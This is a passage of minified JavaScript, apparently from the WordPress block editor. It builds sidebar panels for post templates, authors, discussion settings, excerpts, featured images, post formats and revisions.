uu=function(){const[e,t]=(0,u.useState)(null),s=(0,u.useMemo)((()=>({anchor:e,className:"editor-post-template__dropdown",placement:"left-start",offset:36,shift:!0})),[e]);return(0,L.jsx)(zd,{label:(0,fs.__)("Template"),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:s,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(cu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=>(0,L.jsx)(du,{onClose:e})})})},{PreferenceBaseOption:pu}=(window.wp.warning,$(k.privateApis));function mu(e){const{toggleEditorPanelEnabled:t}=(0,c.useDispatch)(Ac),{isChecked:s,isRemoved:o}=(0,c.useSelect)((t=>{const{isEditorPanelEnabled:s,isEditorPanelRemoved:o}=t(Ac);return{isChecked:s(e.panelName),isRemoved:o(e.panelName)}}),[e.panelName]);return o?null:(0,L.jsx)(pu,{isChecked:s,onChange:()=>t(e.panelName),...e})}const{Fill:hu,Slot:gu}=(0,Uo.createSlotFill)("EnablePluginDocumentSettingPanelOption"),_u=({label:e,panelName:t})=>(0,L.jsx)(hu,{children:(0,L.jsx)(mu,{label:e,panelName:t})});_u.Slot=gu;const fu=_u,{Fill:bu,Slot:yu}=(0,Uo.createSlotFill)("PluginDocumentSettingPanel"),xu=({name:e,className:t,title:s,icon:o,children:n})=>{const{name:i}=(0,wa.usePluginContext)(),r=`${i}/${e}`,{opened:a,isEnabled:l}=(0,c.useSelect)((e=>{const{isEditorPanelOpened:t,isEditorPanelEnabled:s}=e(Ac);return{opened:t(r),isEnabled:s(r)}}),[r]),{toggleEditorPanelOpened:d}=(0,c.useDispatch)(Ac);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(fu,{label:s,panelName:r}),(0,L.jsx)(bu,{children:l&&(0,L.jsx)(Uo.PanelBody,{className:t,title:s,icon:o,opened:a,onToggle:()=>d(r),children:n})})]})};xu.Slot=yu;const vu=xu,Su=({allowedBlocks:e,icon:t,label:s,onClick:o,small:n,role:i})=>(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedBlocks:r,onClose:a})=>((e,t)=>{return!Array.isArray(t)||(s=t,0===e.filter((e=>!s.includes(e))).length);var s})(r,e)?(0,L.jsx)(Uo.MenuItem,{onClick:(0,p.compose)(o,a),icon:t,label:n?s:void 0,role:i,children:!n&&s}):null});function wu(e){var t;const s=(0,wa.usePluginContext)();return(0,L.jsx)(Za,{name:"core/plugin-more-menu",as:null!==(t=e.as)&&void 0!==t?t:Uo.MenuItem,icon:e.icon||s.icon,...e})}const{Fill:ku,Slot:Cu}=(0,Uo.createSlotFill)("PluginPostPublishPanel"),Pu=({children:e,className:t,title:s,initialOpen:o=!1,icon:n})=>{const{icon:i}=(0,wa.usePluginContext)();return(0,L.jsx)(ku,{children:(0,L.jsx)(Uo.PanelBody,{className:t,initialOpen:o||!s,title:s,icon:null!=n?n:i,children:e})})};Pu.Slot=Cu;const ju=Pu,{Fill:Eu,Slot:Tu}=(0,Uo.createSlotFill)("PluginPostStatusInfo"),Bu=({children:e,className:t})=>(0,L.jsx)(Eu,{children:(0,L.jsx)(Uo.PanelRow,{className:t,children:e})});Bu.Slot=Tu;const Iu=Bu,{Fill:Nu,Slot:Du}=(0,Uo.createSlotFill)("PluginPrePublishPanel"),Au=({children:e,className:t,title:s,initialOpen:o=!1,icon:n})=>{const{icon:i}=(0,wa.usePluginContext)();return(0,L.jsx)(Nu,{children:(0,L.jsx)(Uo.PanelBody,{className:t,initialOpen:o||!s,title:s,icon:null!=n?n:i,children:e})})};Au.Slot=Du;const Ru=Au;function Mu(e){var t;const s=(0,wa.usePluginContext)();return(0,L.jsx)(Za,{name:"core/plugin-preview-menu",as:null!==(t=e.as)&&void 0!==t?t:Uo.MenuItem,icon:e.icon||s.icon,...e})}function Lu({className:e,...t}){return(0,L.jsx)(tl,{panelClassName:e,className:"editor-sidebar",scope:"core",...t})}function Ou(e){return(0,L.jsx)(Ka,{__unstableExplicitMenuItem:!0,scope:"core",...e})}function Fu({onClick:e}){const[t,s]=(0,u.useState)(!1),{postType:o,postId:n}=nu(),i=au(o),{editEntityRecord:r}=(0,c.useDispatch)(d.store);if(!i?.length)return null;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=>s(!0),children:(0,fs.__)("Change template")}),t&&(0,L.jsx)(Uo.Modal,{title:(0,fs.__)("Choose a template"),onRequestClose:()=>s(!1),overlayClassName:"editor-post-template__swap-template-modal",isFullScreen:!0,children:(0,L.jsx)("div",{className:"editor-post-template__swap-template-modal-content",children:(0,L.jsx)(Vu,{postType:o,onSelect:async t=>{r("postType",o,n,{template:t.name},{undoIgnore:!0}),s(!1),e()}})})})]})}function Vu({postType:e,onSelect:t}){const s=au(e),o=(0,u.useMemo)((()=>s.map((e=>({name:e.slug,blocks:(0,y.parse)(e.content.raw),title:(0,Lo.decodeEntities)(e.title.rendered),id:e.id})))),[s]);return(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)("Templates"),blockPatterns:o,onClickPattern:t})}function zu({onClick:e}){const t=lu(),s=iu(),{postType:o,postId:n}=nu(),{editEntityRecord:i}=(0,c.useDispatch)(d.store);return t&&s?(0,L.jsx)(Uo.MenuItem,{onClick:()=>{i("postType",o,n,{template:""},{undoIgnore:!0}),e()},children:(0,fs.__)("Use default template")}):null}function Uu({onClick:e}){const{canCreateTemplates:t}=(0,c.useSelect)((e=>{const{canUser:t}=e(d.store);return{canCreateTemplates:t("create",{kind:"postType",name:"wp_template"})}}),[]),[s,o]=(0,u.useState)(!1),n=iu();return t&&n?(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=>{o(!0)},children:(0,fs.__)("Create new template")}),s&&(0,L.jsx)(ou,{onClose:()=>{o(!1),e()}})]}):null}function Hu({id:e}){const{isTemplateHidden:t,onNavigateToEntityRecord:s,getEditorSettings:o,hasGoBack:n}=(0,c.useSelect)((e=>{const{getRenderingMode:t,getEditorSettings:s}=$(e(Ac)),o=s();return{isTemplateHidden:"post-only"===t(),onNavigateToEntityRecord:o.onNavigateToEntityRecord,getEditorSettings:s,hasGoBack:o.hasOwnProperty("onNavigateToPreviousEntityRecord")}}),[]),{get:i}=(0,c.useSelect)(k.store),{editedRecord:r,hasResolved:a}=(0,d.useEntityRecord)("postType","wp_template",e),{createSuccessNotice:l}=(0,c.useDispatch)(_s.store),{setRenderingMode:p,setDefaultRenderingMode:m}=$((0,c.useDispatch)(Ac)),h=(0,c.useSelect)((e=>!!e(d.store).canUser("create",{kind:"postType",name:"wp_template"})),[]),[g,_]=(0,u.useState)(null),f=(0,u.useMemo)((()=>({anchor:g,className:"editor-post-template__dropdown",placement:"left-start",offset:36,shift:!0})),[g]);if(!a)return null;const b=n?[{label:(0,fs.__)("Go back"),onClick:()=>o().onNavigateToPreviousEntityRecord()}]:void 0;return(0,L.jsx)(zd,{label:(0,fs.__)("Template"),ref:_,children:(0,L.jsx)(Uo.DropdownMenu,{popoverProps:f,focusOnMount:!0,toggleProps:{size:"compact",variant:"tertiary",tooltipPosition:"middle left"},label:(0,fs.__)("Template options"),text:(0,Lo.decodeEntities)(r.title),icon:null,children:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.MenuGroup,{children:[h&&(0,L.jsx)(Uo.MenuItem,{onClick:()=>{s({postId:r.id,postType:"wp_template"}),e(),i("core/edit-site","welcomeGuideTemplate")||l((0,fs.__)("Editing template. Changes made here affect all posts and pages that use the template."),{type:"snackbar",actions:b})},children:(0,fs.__)("Edit template")}),(0,L.jsx)(Fu,{onClick:e}),(0,L.jsx)(zu,{onClick:e}),h&&(0,L.jsx)(Uu,{onClick:e})]}),(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{icon:t?void 0:Ho,isSelected:!t,role:"menuitemcheckbox",onClick:()=>{const e=t?"template-locked":"post-only";p(e),m(e)},children:(0,fs.__)("Show template")})})]})})})}function Gu(){const{templateId:e,isBlockTheme:t}=(0,c.useSelect)((e=>{const{getCurrentTemplateId:t,getEditorSettings:s}=e(Ac);return{templateId:t(),isBlockTheme:s().__unstableIsBlockBasedTheme}}),[]),s=(0,c.useSelect)((e=>{var t;const s=e(Ac).getCurrentPostType(),o=e(d.store).getPostType(s);if(!o?.viewable)return!1;const n=e(Ac).getEditorSettings();if(!!n.availableTemplates&&Object.keys(n.availableTemplates).length>0)return!0;if(!n.supportsTemplateMode)return!1;return null!==(t=e(d.store).canUser("create",{kind:"postType",name:"wp_template"}))&&void 0!==t&&t}),[]),o=(0,c.useSelect)((e=>{var t;return null!==(t=e(d.store).canUser("read",{kind:"postType",name:"wp_template"}))&&void 0!==t&&t}),[]);return t&&o||!s?t&&e?(0,L.jsx)(Hu,{id:e}):null:(0,L.jsx)(uu,{})}const $u={_fields:"id,name",context:"view"},Wu={who:"authors",per_page:100,...$u};function Zu(e){const{authorId:t,authors:s,postAuthor:o,isLoading:n}=(0,c.useSelect)((t=>{const{getUser:s,getUsers:o,isResolving:n}=t(d.store),{getEditedPostAttribute:i}=t(Ac),r=i("author"),a={...Wu};return e&&(a.search=e,a.search_columns=["name"]),{authorId:r,authors:o(a),postAuthor:s(r,$u),isLoading:n("getUsers",[a])}}),[e]),i=(0,u.useMemo)((()=>{const e=(null!=s?s:[]).map((e=>({value:e.id,label:(0,Lo.decodeEntities)(e.name)}))),t=e.findIndex((({value:e})=>o?.id===e));let n=[];return t<0&&o?n=[{value:o.id,label:(0,Lo.decodeEntities)(o.name)}]:t<0&&!o&&(n=[{value:0,label:(0,fs.__)("(No author)")}]),[...n,...e]}),[s,o]);return{authorId:t,authorOptions:i,postAuthor:o,isLoading:n}}function Yu(){const[e,t]=(0,u.useState)(),{editPost:s}=(0,c.useDispatch)(Ac),{authorId:o,authorOptions:n,isLoading:i}=Zu(e);return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)("Author"),options:n,value:o,onFilterValueChange:(0,p.debounce)((e=>{t(e)}),300),onChange:e=>{e&&s({author:e})},allowReset:!1,hideLabelFromVision:!0,isLoading:i})}function Ku(){const{editPost:e}=(0,c.useDispatch)(Ac),{authorId:t,authorOptions:s}=Zu();return(0,L.jsx)(Uo.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:"post-author-selector",label:(0,fs.__)("Author"),options:s,onChange:t=>{const s=Number(t);e({author:s})},value:t,hideLabelFromVision:!0})}const qu=function(){return(0,c.useSelect)((e=>{const t=e(d.store).getUsers(Wu);return t?.length>=25}),[])?(0,L.jsx)(Yu,{}):(0,L.jsx)(Ku,{})};function Qu({children:e}){const{hasAssignAuthorAction:t,hasAuthors:s}=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPost(),s=!!t?._links?.["wp:action-assign-author"];return{hasAssignAuthorAction:s,hasAuthors:!!s&&e(d.store).getUsers(Wu)?.length>=1}}),[]);return t&&s?(0,L.jsx)(Od,{supportKeys:"author",children:e}):null}function Xu({isOpen:e,onClick:t}){const{postAuthor:s}=Zu(),o=(0,Lo.decodeEntities)(s?.name)||(0,fs.__)("(No author)");return(0,L.jsx)(Uo.Button,{size:"compact",className:"editor-post-author__panel-toggle",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change author: %s"),o),onClick:t,children:o})}const Ju=function(){const[e,t]=(0,u.useState)(null),s=(0,u.useMemo)((()=>({anchor:e,placement:"left-start",offset:36,shift:!0})),[e]);return(0,L.jsx)(Qu,{children:(0,L.jsx)(zd,{label:(0,fs.__)("Author"),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:s,contentClassName:"editor-post-author__panel-dialog",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(Xu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=>(0,L.jsxs)("div",{className:"editor-post-author",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Author"),onClose:e}),(0,L.jsx)(qu,{onClose:e})]})})})})},ep=[{label:(0,fs._x)("Open",'Adjective: e.g. "Comments are open"'),value:"open",description:(0,fs.__)("Visitors can add new comments and replies.")},{label:(0,fs.__)("Closed"),value:"closed",description:[(0,fs.__)("Visitors cannot add new comments or replies."),(0,fs.__)("Existing comments remain visible.")].join(" ")}];const tp=function(){const e=(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getEditedPostAttribute("comment_status"))&&void 0!==t?t:"open"}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)("form",{children:(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:(0,L.jsx)(Uo.RadioControl,{className:"editor-change-status__options",hideLabelFromVision:!0,label:(0,fs.__)("Comment status"),options:ep,onChange:e=>t({comment_status:e}),selected:e})})})};const sp=function(){const e=(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getEditedPostAttribute("ping_status"))&&void 0!==t?t:"open"}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)("Enable pingbacks & trackbacks"),checked:"open"===e,onChange:()=>t({ping_status:"open"===e?"closed":"open"}),help:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)("https://wordpress.org/documentation/article/trackbacks-and-pingbacks/"),children:(0,fs.__)("Learn more about pingbacks & trackbacks")})})},op="discussion-panel";function np({onClose:e}){return(0,L.jsxs)("div",{className:"editor-post-discussion",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Discussion"),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Od,{supportKeys:"comments",children:(0,L.jsx)(tp,{})}),(0,L.jsx)(Od,{supportKeys:"trackbacks",children:(0,L.jsx)(sp,{})})]})]})}function ip({isOpen:e,onClick:t}){const{commentStatus:s,pingStatus:o,commentsSupported:n,trackbacksSupported:i}=(0,c.useSelect)((e=>{var t,s;const{getEditedPostAttribute:o}=e(Ac),{getPostType:n}=e(d.store),i=n(o("type"));return{commentStatus:null!==(t=o("comment_status"))&&void 0!==t?t:"open",pingStatus:null!==(s=o("ping_status"))&&void 0!==s?s:"open",commentsSupported:!!i.supports.comments,trackbacksSupported:!!i.supports.trackbacks}}),[]);let r;return r="open"===s?"open"===o?(0,fs._x)("Open",'Adjective: e.g. "Comments are open"'):i?(0,fs.__)("Comments only"):(0,fs._x)("Open",'Adjective: e.g. "Comments are open"'):"open"===o?n?(0,fs.__)("Pings only"):(0,fs.__)("Pings enabled"):(0,fs.__)("Closed"),(0,L.jsx)(Uo.Button,{size:"compact",className:"editor-post-discussion__panel-toggle",variant:"tertiary","aria-label":(0,fs.__)("Change discussion options"),"aria-expanded":e,onClick:t,children:r})}function rp(){const{isEnabled:e}=(0,c.useSelect)((e=>{const{isEditorPanelEnabled:t}=e(Ac);return{isEnabled:t(op)}}),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=>({anchor:t,placement:"left-start",offset:36,shift:!0})),[t]);return e?(0,L.jsx)(Od,{supportKeys:["comments","trackbacks"],children:(0,L.jsx)(zd,{label:(0,fs.__)("Discussion"),ref:s,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:"editor-post-discussion__panel-dropdown",contentClassName:"editor-post-discussion__panel-dialog",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(ip,{isOpen:e,onClick:t}),renderContent:({onClose:e})=>(0,L.jsx)(np,{onClose:e})})})}):null}function ap({hideLabelFromVision:e=!1,updateOnBlur:t=!1}){const{excerpt:s,shouldUseDescriptionLabel:o,usedAttribute:n}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(Ac),o=t(),n=["wp_template","wp_template_part"].includes(o)?"description":"excerpt";return{excerpt:s(n),shouldUseDescriptionLabel:["wp_template","wp_template_part","wp_block"].includes(o),usedAttribute:n}}),[]),{editPost:i}=(0,c.useDispatch)(Ac),[r,a]=(0,u.useState)((0,Lo.decodeEntities)(s)),l=e=>{i({[n]:e})},d=o?(0,fs.__)("Write a description (optional)"):(0,fs.__)("Write an excerpt (optional)");return(0,L.jsx)("div",{className:"editor-post-excerpt",children:(0,L.jsx)(Uo.TextareaControl,{__nextHasNoMarginBottom:!0,label:d,hideLabelFromVision:e,className:"editor-post-excerpt__textarea",onChange:t?a:l,onBlur:t?()=>l(r):void 0,value:t?r:s,help:o?(0,fs.__)("Write a description"):(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)("https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt"),children:(0,fs.__)("Learn more about manual excerpts")})})})}const lp=function({children:e}){return(0,L.jsx)(Od,{supportKeys:"excerpt",children:e})},{Fill:cp,Slot:dp}=(0,Uo.createSlotFill)("PluginPostExcerpt"),up=({children:e,className:t})=>(0,L.jsx)(cp,{children:(0,L.jsx)(Uo.PanelRow,{className:t,children:e})});up.Slot=dp;const pp=up,mp="post-excerpt";function hp(){const{isOpened:e,isEnabled:t,postType:s}=(0,c.useSelect)((e=>{const{isEditorPanelOpened:t,isEditorPanelEnabled:s,getCurrentPostType:o}=e(Ac);return{isOpened:t(mp),isEnabled:s(mp),postType:o()}}),[]),{toggleEditorPanelOpened:o}=(0,c.useDispatch)(Ac);if(!t)return null;const n=["wp_template","wp_template_part","wp_block"].includes(s);return(0,L.jsx)(Uo.PanelBody,{title:n?(0,fs.__)("Description"):(0,fs.__)("Excerpt"),opened:e,onToggle:()=>o(mp),children:(0,L.jsx)(pp.Slot,{children:e=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(ap,{}),e]})})})}function gp(){return(0,L.jsx)(lp,{children:(0,L.jsx)(hp,{})})}function _p(){return(0,L.jsx)(lp,{children:(0,L.jsx)(fp,{})})}function fp(){const{shouldRender:e,excerpt:t,shouldBeUsedAsDescription:s,allowEditing:o}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s,getEditedPostAttribute:o,isEditorPanelEnabled:n}=e(Ac),i=t(),r=["wp_template","wp_template_part"].includes(i),a="wp_block"===i,l=r||a,c=r?"description":"excerpt",u=r&&e(d.store).getEntityRecord("postType",i,s()),p=n(mp)||l;return{excerpt:o(c),shouldRender:p,shouldBeUsedAsDescription:l,allowEditing:p&&(!l||a||u&&u.source===D&&!u.has_theme_file&&u.is_custom)}}),[]),[n,i]=(0,u.useState)(null),r=s?(0,fs.__)("Description"):(0,fs.__)("Excerpt"),a=(0,u.useMemo)((()=>({anchor:n,"aria-label":r,headerTitle:r,placement:"left-start",offset:36,shift:!0})),[n,r]);if(!e)return!1;const l=!!t&&(0,L.jsx)(Uo.__experimentalText,{align:"left",numberOfLines:4,truncate:o,children:(0,Lo.decodeEntities)(t)});if(!o)return l;const p=s?(0,fs.__)("Add a description…"):(0,fs.__)("Add an excerpt…"),m=s?(0,fs.__)("Edit description"):(0,fs.__)("Edit excerpt");return(0,L.jsxs)(Uo.__experimentalVStack,{children:[l,(0,L.jsx)(Uo.Dropdown,{className:"editor-post-excerpt__dropdown",contentClassName:"editor-post-excerpt__dropdown__content",popoverProps:a,focusOnMount:!0,ref:i,renderToggle:({onToggle:e})=>(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,onClick:e,variant:"link",children:l?m:p}),renderContent:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:r,onClose:e}),(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:(0,L.jsx)(pp.Slot,{children:e=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(ap,{hideLabelFromVision:!0,updateOnBlur:!0}),e]})})})]})})]})}function bp({children:e,supportKeys:t}){const{postType:s,themeSupports:o}=(0,c.useSelect)((e=>({postType:e(Ac).getEditedPostAttribute("type"),themeSupports:e(d.store).getThemeSupports()})),[]);return(Array.isArray(t)?t:[t]).some((e=>{var t;const n=null!==(t=o?.[e])&&void 0!==t&&t;return"post-thumbnails"===e&&Array.isArray(n)?n.includes(s):n}))?e:null}const yp=function({children:e}){return(0,L.jsx)(bp,{supportKeys:"post-thumbnails",children:(0,L.jsx)(Od,{supportKeys:"thumbnail",children:e})})},xp=["image"],vp=(0,fs.__)("Featured image"),Sp=(0,fs.__)("Add a featured image"),wp=(0,L.jsx)("p",{children:(0,fs.__)("To edit the featured image, you need permission to upload media.")});const kp=(0,c.withSelect)((e=>{const{getMedia:t,getPostType:s,hasFinishedResolution:o}=e(d.store),{getCurrentPostId:n,getEditedPostAttribute:i}=e(Ac),r=i("featured_media");return{media:r?t(r,{context:"view"}):null,currentPostId:n(),postType:s(i("type")),featuredImageId:r,isRequestingFeaturedImageMedia:!!r&&!o("getMedia",[r,{context:"view"}])}})),Cp=(0,c.withDispatch)(((e,{noticeOperations:t},{select:s})=>{const{editPost:o}=e(Ac);return{onUpdateImage(e){o({featured_media:e.id})},onDropImage(e){s(h.store).getSettings().mediaUpload({allowedTypes:["image"],filesList:e,onFileChange([e]){o({featured_media:e.id})},onError(e){t.removeAllNotices(),t.createErrorNotice(e)},multiple:!1})},onRemoveImage(){o({featured_media:0})}}})),Pp=(0,p.compose)(Uo.withNotices,kp,Cp,(0,Uo.withFilters)("editor.PostFeaturedImage"))((function({currentPostId:e,featuredImageId:t,onUpdateImage:s,onRemoveImage:o,media:n,postType:i,noticeUI:r,noticeOperations:a,isRequestingFeaturedImageMedia:l}){const d=(0,u.useRef)(!1),[p,g]=(0,u.useState)(!1),{getSettings:_}=(0,c.useSelect)(h.store),{mediaSourceUrl:f}=function(e,t){var s,o;if(!e)return{};const n=(0,m.applyFilters)("editor.PostFeaturedImage.imageSize","large",e.id,t);if(n in(null!==(s=e?.media_details?.sizes)&&void 0!==s?s:{}))return{mediaWidth:e.media_details.sizes[n].width,mediaHeight:e.media_details.sizes[n].height,mediaSourceUrl:e.media_details.sizes[n].source_url};const i=(0,m.applyFilters)("editor.PostFeaturedImage.imageSize","thumbnail",e.id,t);return i in(null!==(o=e?.media_details?.sizes)&&void 0!==o?o:{})?{mediaWidth:e.media_details.sizes[i].width,mediaHeight:e.media_details.sizes[i].height,mediaSourceUrl:e.media_details.sizes[i].source_url}:{mediaWidth:e.media_details.width,mediaHeight:e.media_details.height,mediaSourceUrl:e.source_url}}(n,e);function b(e){_().mediaUpload({allowedTypes:xp,filesList:e,onFileChange([e]){(0,di.isBlobURL)(e?.url)?g(!0):(e&&s(e),g(!1))},onError(e){a.removeAllNotices(),a.createErrorNotice(e)},multiple:!1})}function y(e){return e.alt_text?(0,fs.sprintf)((0,fs.__)("Current image: %s"),e.alt_text):(0,fs.sprintf)((0,fs.__)("The current image has no alternative text. The file name is: %s"),e.media_details.sizes?.full?.file||e.slug)}function x(e){d.current&&e&&(e.focus(),d.current=!1)}const v=!l&&!!t&&!n;return(0,L.jsxs)(yp,{children:[r,(0,L.jsxs)("div",{className:"editor-post-featured-image",children:[n&&(0,L.jsx)("div",{id:`editor-post-featured-image-${t}-describedby`,className:"hidden",children:y(n)}),(0,L.jsx)(h.MediaUploadCheck,{fallback:wp,children:(0,L.jsx)(h.MediaUpload,{title:i?.labels?.featured_image||vp,onSelect:s,unstableFeaturedImageFlow:!0,allowedTypes:xp,modalClass:"editor-post-featured-image__media-modal",render:({open:e})=>(0,L.jsxs)("div",{className:"editor-post-featured-image__container",children:[v?(0,L.jsx)(Uo.Notice,{status:"warning",isDismissible:!1,children:(0,fs.__)("Could not retrieve the featured image data.")}):(0,L.jsxs)(Uo.Button,{__next40pxDefaultSize:!0,ref:x,className:t?"editor-post-featured-image__preview":"editor-post-featured-image__toggle",onClick:e,"aria-label":t?(0,fs.__)("Edit or replace the featured image"):null,"aria-describedby":t?`editor-post-featured-image-${t}-describedby`:null,"aria-haspopup":"dialog",disabled:p,accessibleWhenDisabled:!0,children:[!!t&&n&&(0,L.jsx)("img",{className:"editor-post-featured-image__preview-image",src:f,alt:y(n)}),(p||l)&&(0,L.jsx)(Uo.Spinner,{}),!t&&!p&&(i?.labels?.set_featured_image||Sp)]}),!!t&&(0,L.jsxs)(Uo.__experimentalHStack,{className:Di("editor-post-featured-image__actions",{"editor-post-featured-image__actions-missing-image":v,"editor-post-featured-image__actions-is-requesting-image":l}),children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:"editor-post-featured-image__action",onClick:e,"aria-haspopup":"dialog",variant:v?"secondary":void 0,children:(0,fs.__)("Replace")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:"editor-post-featured-image__action",onClick:()=>{o(),d.current=!0},variant:v?"secondary":void 0,isDestructive:v,children:(0,fs.__)("Remove")})]}),(0,L.jsx)(Uo.DropZone,{onFilesDrop:b})]}),value:t})})]})]})})),jp="featured-image";function Ep({withPanelBody:e=!0}){var t;const{postType:s,isEnabled:o,isOpened:n}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,isEditorPanelEnabled:s,isEditorPanelOpened:o}=e(Ac),{getPostType:n}=e(d.store);return{postType:n(t("type")),isEnabled:s(jp),isOpened:o(jp)}}),[]),{toggleEditorPanelOpened:i}=(0,c.useDispatch)(Ac);return o?e?(0,L.jsx)(yp,{children:(0,L.jsx)(Uo.PanelBody,{title:null!==(t=s?.labels?.featured_image)&&void 0!==t?t:(0,fs.__)("Featured image"),opened:n,onToggle:()=>i(jp),children:(0,L.jsx)(Pp,{})})}):(0,L.jsx)(yp,{children:(0,L.jsx)(Pp,{})}):null}function Tp({children:e}){return(0,c.useSelect)((e=>e(Ac).getEditorSettings().disablePostFormats),[])?null:(0,L.jsx)(Od,{supportKeys:"post-formats",children:e})}const Bp=[{id:"aside",caption:(0,fs.__)("Aside")},{id:"audio",caption:(0,fs.__)("Audio")},{id:"chat",caption:(0,fs.__)("Chat")},{id:"gallery",caption:(0,fs.__)("Gallery")},{id:"image",caption:(0,fs.__)("Image")},{id:"link",caption:(0,fs.__)("Link")},{id:"quote",caption:(0,fs.__)("Quote")},{id:"standard",caption:(0,fs.__)("Standard")},{id:"status",caption:(0,fs.__)("Status")},{id:"video",caption:(0,fs.__)("Video")}].sort(((e,t)=>{const s=e.caption.toUpperCase(),o=t.caption.toUpperCase();return s<o?-1:s>o?1:0}));function Ip(){const e=`post-format-selector-${(0,p.useInstanceId)(Ip)}`,{postFormat:t,suggestedFormat:s,supportedFormats:o}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,getSuggestedPostFormat:s}=e(Ac),o=t("format"),n=e(d.store).getThemeSupports();return{postFormat:null!=o?o:"standard",suggestedFormat:s(),supportedFormats:n.formats}}),[]),n=Bp.filter((e=>o?.includes(e.id)||t===e.id)),i=n.find((e=>e.id===s)),{editPost:r}=(0,c.useDispatch)(Ac),a=e=>r({format:e});return(0,L.jsx)(Tp,{children:(0,L.jsxs)("div",{className:"editor-post-format",children:[(0,L.jsx)(Uo.RadioControl,{className:"editor-post-format__options",label:(0,fs.__)("Post Format"),selected:t,onChange:e=>a(e),id:e,options:n.map((e=>({label:e.caption,value:e.id}))),hideLabelFromVision:!0}),i&&i.id!==t&&(0,L.jsx)("p",{className:"editor-post-format__suggestion",children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"link",onClick:()=>a(i.id),children:(0,fs.sprintf)((0,fs.__)("Apply suggested format: %s"),i.caption)})})]})})}const Np=function({children:e}){const{lastRevisionId:t,revisionsCount:s}=(0,c.useSelect)((e=>{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(Ac);return{lastRevisionId:t(),revisionsCount:s()}}),[]);return!t||s<2?null:(0,L.jsx)(Od,{supportKeys:"revisions",children:e})};function Dp(){return(0,c.useSelect)((e=>{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(Ac);return{lastRevisionId:t(),revisionsCount:s()}}),[])}function Ap(){const{lastRevisionId:e,revisionsCount:t}=Dp();return(0,L.jsx)(Np,{children:(0,L.jsx)(zd,{label:(0,fs.__)("Revisions"),children:(0,L.jsx)(Uo.Button,{href:(0,v.addQueryArgs)("revision.php",{revision:e}),className:"editor-private-post-last-revision__button",text:t,variant:"tertiary",size:"compact"})})})}const Rp=function(){const{lastRevisionId:e,revisionsCount:t}=Dp();return(0,L.jsx)(Np,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,href:(0,v.addQueryArgs)("revision.php",{revision:e}),className:"editor-post-last-revision__title",icon:hi,iconPosition:"right",text:(0,fs.sprintf)((0,fs.__)("Revisions (%s)"),t)})})};const Mp=function(){return(0,L.jsx)(Np,{children:(0,L.jsx)(Uo.PanelBody,{className:"editor-post-last-revision__panel",children:(0,L.jsx)(Rp,{})})})};function Lp(){const e="core/editor/post-locked-modal-"+(0,p.useInstanceId)(Lp),{autosave:t,updatePostLock:s}=(0,c.useDispatch)(Ac),{isLocked:o,isTakeover:n,user:i,postId:r,postLockUtils:a,activePostLock:l,postType:h,previewLink:g}=(0,c.useSelect)((e=>{const{isPostLocked:t,isPostLockTakeover:s,getPostLockUser:o,getCurrentPostId:n,getActivePostLock:i,getEditedPostAttribute:r,getEditedPostPreviewLink:a,getEditorSettings:l}=e(Ac),{getPostType:c}=e(d.store);return{isLocked:t(),isTakeover:s(),user:o(),postId:n(),postLockUtils:l().postLockUtils,activePostLock:i(),postType:c(r("type")),previewLink:a()}}),[]);if((0,u.useEffect)((()=>{function n(){if(o||!l)return;const e=new 